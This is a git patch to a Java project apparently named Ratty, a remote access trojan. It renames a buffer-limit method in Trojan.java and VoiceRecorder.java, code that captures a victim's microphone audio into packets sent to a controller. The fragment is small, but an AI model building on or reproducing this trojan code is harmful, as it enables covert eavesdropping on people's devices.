From 2f563ecae2ced24409a161cdc87dc2ed9254ea20 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 9 Feb 2016 17:10:25 +0100 Subject: [PATCH] Minor changes Cleanups --- Ratty/src/de/sogomn/rat/Trojan.java | 2 +- Ratty/src/de/sogomn/rat/VoiceRecorder.java | 14 ++++++-------- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 09eecd3..8c51774 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -17,7 +17,7 @@ public final class Trojan implements IClientObserver { final VoiceRecorder recorder = new VoiceRecorder(); final VoicePacket voice = (VoicePacket)packet; - recorder.setMaximum(MICROPHONE_BUFFER_SIZE); + recorder.setLimit(MICROPHONE_BUFFER_SIZE); recorder.addListener((source, data) -> { voice.setData(data); diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java index d82cbf2..df478fa 100644 --- a/Ratty/src/de/sogomn/rat/VoiceRecorder.java +++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java @@ -15,14 +15,12 @@ public final class VoiceRecorder extends AbstractListenerContainer { - while (out.size() < maximum) { + while (out.size() < limit) { captureAudio(); } @@ -62,10 +60,10 @@ public final class VoiceRecorder extends AbstractListenerContainer